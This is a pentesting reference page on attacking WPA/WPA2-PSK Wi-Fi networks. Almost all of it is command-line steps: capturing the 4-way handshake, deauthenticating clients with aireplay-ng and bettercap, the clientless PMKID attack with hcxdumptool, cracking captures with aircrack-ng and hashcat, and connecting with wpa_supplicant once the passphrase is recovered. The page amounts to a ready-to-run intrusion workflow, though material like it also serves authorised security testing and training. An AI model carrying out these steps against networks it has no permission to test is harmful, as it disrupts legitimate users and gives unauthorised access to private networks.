WPA2-PSK and PMKID Attacks | Pentesting.Site

Attacking WPA/WPA2-PSK

WPA/WPA2 Personal (Pre-Shared Key) networks can be attacked by capturing the 4-way handshake or a PMKID and cracking it offline. This section covers handshake capture, deauthentication, the clientless PMKID attack, cracking with Aircrack-ng and Hashcat, and connecting back to the network.

Capturing the 4-Way Handshake

Put the adapter in monitor mode (see Setup and Discovery), identify the target AP and channel, then capture the handshake, deauthenticating a client if needed to force a reconnection.

1
# Target the network on its channel and write a capture
2
sudo airodump-ng -c <channel> --bssid AA:BB:CC:DD:EE:FF -w PSK wlan0mon

Deauthentication to Force a Handshake

1
# Deauthenticate clients so they reconnect and reveal the handshake
2
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
3

4
# Old-school 4-way handshake capture / deauth reference
5
airodump-ng -c 3 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
6
aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

PMKID Attack (Clientless)

The PMKID attack recovers crackable material directly from the AP without waiting for a client handshake, and is often the preferred first approach.

hcxdumptool

1
# Test the card for at least two minutes (look for HIT values)
2
sudo hcxdumptool -i wlan0 --do_rcascan
3

4
# Build a list of target APs to attack
5
echo 'AA:BB:CC:DD:EE:FF' | tr -d ':' >> bssid.lst
6

7
# Launch the attack (filtered to the target list)
8
sudo hcxdumptool -i wlan0 -o ~/work/capture.pcapng --filterlist_ap=bssid.lst --filtermode=2 --enable_status=1
9
sudo hcxdumptool -i wlan0 -o ~/work/capture.pcapng --enable_status=1
10

11
# Set a specific channel
12
sudo hcxdumptool -i wlan0 --enable_status=1 -c 6 --filterlist=bssid.lst --filtermode=2 -o ~/work/capture.pcapng

Bettercap PMKID

1
# Put the card in monitor mode, then associate to capture a PMKID
2
sudo bettercap -iface wlan0
3
wifi.recon on
4
set wifi.show.sort clients desc
5
set ticker.commands 'clear; wifi.show'
6
set ticker.period 5
7
ticker on
8

9
# Move to the target channel and associate / deauth
10
wifi.recon.channel 1
11
wifi.assoc all
12
wifi.assoc AA:BB:CC:DD:EE:FF
13
wifi.deauth AA:BB:CC:DD:EE:FF

Cracking Captured Material

The current Hashcat workflow uses mode 22000 (the unified hc22000 format produced by cap2hashcat). Aircrack-ng can crack the .cap directly. Ensure the SSID is present in the wordlist context for PMKID/handshake cracking.

Aircrack-ng

1
sudo aircrack-ng -a 2 -w <wordlist> capture.cap
2
aircrack-ng -w /usr/share/wordlists/wifite.txt -e CorpWiFi -b AA:BB:CC:DD:EE:FF capture-04.cap

Hashcat (current: mode 22000)

1
# Convert a capture to the hc22000 format
2
# https://hashcat.net/cap2hashcat/
3

4
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt

Legacy Hashcat Modes and Conversions

The 2500 (hccapx handshake) and 16800 (PMKID) modes below, and the cap2hccapx / hcxpcaptool conversions, have been superseded by mode 22000 and cap2hashcat above. They are retained for older captures and workflows.

1
# Legacy: convert to hccapx (superseded by cap2hashcat)
2
# https://hashcat.net/cap2hccapx/
3

4
# Legacy: handshake cracking (mode 2500)
5
hashcat -m 2500 -a 3 -w 3 capture.hccapx '?d?d?d?d?d?d?d?d'
6
hashcat -m 2500 C:\path\to\hash.txt C:\path\to\wordlists
7

8
# Legacy: PMKID conversion with hcxpcaptool
9
sudo hcxpcaptool -z hash.txt ~/work/capture.pcapng
10
sudo hcxpcaptool -E essidlist -I identitylist -U usernamelist -z hashcat.16800 ~/work/capture.pcapng
11

12
# Legacy: PMKID cracking (mode 16800)
13
hashcat -m 16800 hash.txt /usr/share/wordlists/rockyou.txt -r ~/tools/rules/d3adhob0.rule

Distributed Cracking (wpa-sec)

1
# Submit captures to the distributed wpa-sec cracking service
2
# https://wpa-sec.stanev.org/?my_nets
3
# Configure your account key where required: <WPA_SEC_API_KEY>

Connecting to the Network

Once the PSK is recovered, connect back to confirm access.

1
# Create a configuration file
2
nano wireless.conf
3

4
network={
5
 ssid="CorpWiFi"
6
 key_mgmt=WPA-PSK
7
 psk="<passphrase>"
8
 proto=RSN
9
}
10

11
# Connect to the AP
12
sudo wpa_supplicant -i wlan0 -c wireless.conf
13
sudo wpa_supplicant -D nl80211 -i wlan0 -c wireless.conf
14

15
# Obtain an IP address
16
sudo dhclient wlan0 -v